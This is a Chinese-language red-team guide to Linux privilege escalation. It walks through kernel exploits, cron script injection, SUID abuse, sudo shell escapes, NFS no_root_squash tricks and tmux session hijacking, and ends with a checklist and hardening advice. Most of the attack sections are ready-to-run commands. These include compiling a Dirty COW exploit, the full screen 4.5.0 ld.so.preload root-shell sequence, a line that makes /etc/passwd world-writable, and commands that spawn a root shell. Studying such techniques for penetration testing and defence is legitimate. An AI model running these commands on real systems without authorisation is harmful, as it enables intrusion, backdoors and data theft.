红队测试之Linux提权小结
字数 1271 2025-08-15 21:32:33
Linux提权技术全面指南
1. 提权概述
权限提升是指用户获得超出其当前权限级别的访问能力的过程。在Linux系统中,这通常意味着从普通用户权限提升到root管理员权限。
为什么需要提权
- 读取/写入敏感文件
- 维持持久性访问("隧道"权限)
- 植入后门程序
- 进行数据窃取或篡改
- 传播恶意软件
2. Linux常见提权方法
2.1 内核漏洞提权
原理:利用Linux内核中的安全漏洞获取root权限。
工具:linux-exploit-suggester.sh
步骤:
- 检查内核版本:
uname -a - 下载检测工具:
wget https://github.com/mzet-/linux-exploit-suggester/raw/master/linux-exploit-suggester.sh -O les.sh chmod +x les.sh ./les.sh - 根据建议搜索相应漏洞利用代码(如脏牛漏洞):
searchsploit dirty - 上传并编译利用代码:
gcc -pthread 40839.c -o exploit -lcrypt ./exploit - 利用成功后通常会创建一个UID为0的用户
2.2 定时任务(Cron)提权
原理:利用配置不当的定时任务执行恶意代码。
检测方法:
- 检查可写的cron脚本或二进制文件
- 检查可写的cron.d目录
- 使用pspy监听进程
工具:pspy (https://github.com/DominicBreuker/pspy)
利用步骤:
- 上传pspy并执行:
chmod +x pspy64 ./pspy64 - 观察以root权限执行的脚本
- 如果发现可写的脚本文件,注入恶意代码:
echo '恶意代码' >> /path/to/script.sh
示例:
echo 'import os,stat ;os.chmod("/etc/passwd", stat.S_IRWXU|stat.S_IRWXG|stat.S_IRWXO)' >> test.py
2.3 SUID文件提权
原理:利用配置不当的SUID程序执行特权操作。
检测方法:
- 查找具有SUID位的文件:
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \; - 使用LinEnum.sh收集信息:
wget https://github.com/rebootuser/LinEnum/raw/master/LinEnum.sh chmod +x LinEnum.sh ./LinEnum.sh
利用示例(screen 4.5.0漏洞):
- 下载并编译利用代码:
gcc -fPIC -shared -ldl -o /tmp/libhax.so libhax.c gcc -o /tmp/rootshell rootshell.c - 执行利用:
cd /etc umask 000 /bin/screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" > ld.so.preload /bin/screen-4.5.0 -ls /tmp/rootshell
2.4 Sudo配置错误提权
检测方法:
sudo -l
常见利用方式:
- 如果允许执行find命令:
sudo find /home -exec sh -i \; - 如果允许执行vim:
sudo vim -c '!sh' - 如果允许执行less/more:
sudo less /etc/passwd !sh
2.5 NFS提权
原理:利用no_root_squash配置错误的NFS共享。
检测方法:
cat /etc/exports
利用步骤:
- 在攻击机上挂载共享:
mount -t nfs 目标IP:/共享目录 /本地挂载点 - 创建具有SUID位的shell:
cp /bin/sh /本地挂载点/shell chmod +s /本地挂载点/shell - 在目标机上执行:
./shell -p
2.6 第三方服务提权
示例:tmux提权
检测方法:
ps aux | grep tmux
利用步骤:
- 查找tmux会话:
tmux -S /.devs/dev_sess - 如果发现root权限的tmux会话,直接连接:
tmux -S /发现的路径 attach
3. 提权技术总结
提权检查清单
-
内核检查:
- 检查内核版本
- 使用linux-exploit-suggester查找可用漏洞
-
系统配置检查:
- 检查sudo权限(
sudo -l) - 查找SUID文件(
find / -perm -4000) - 检查定时任务(
crontab -l,/etc/cron*)
- 检查sudo权限(
-
服务检查:
- 检查NFS配置(
/etc/exports) - 查找以root运行的第三方服务
- 检查NFS配置(
-
文件权限检查:
- 检查可写的系统文件(
/etc/passwd,/etc/shadow) - 检查可写的脚本文件
- 检查可写的系统文件(
防御建议
- 定期更新系统和内核
- 遵循最小权限原则配置sudo
- 谨慎设置SUID位
- 安全配置NFS共享
- 监控系统进程和文件变更
- 使用安全的定时任务配置
- 及时更新第三方服务
通过全面了解这些提权技术,安全人员可以更好地评估系统安全性,同时系统管理员可以采取更有针对性的防御措施。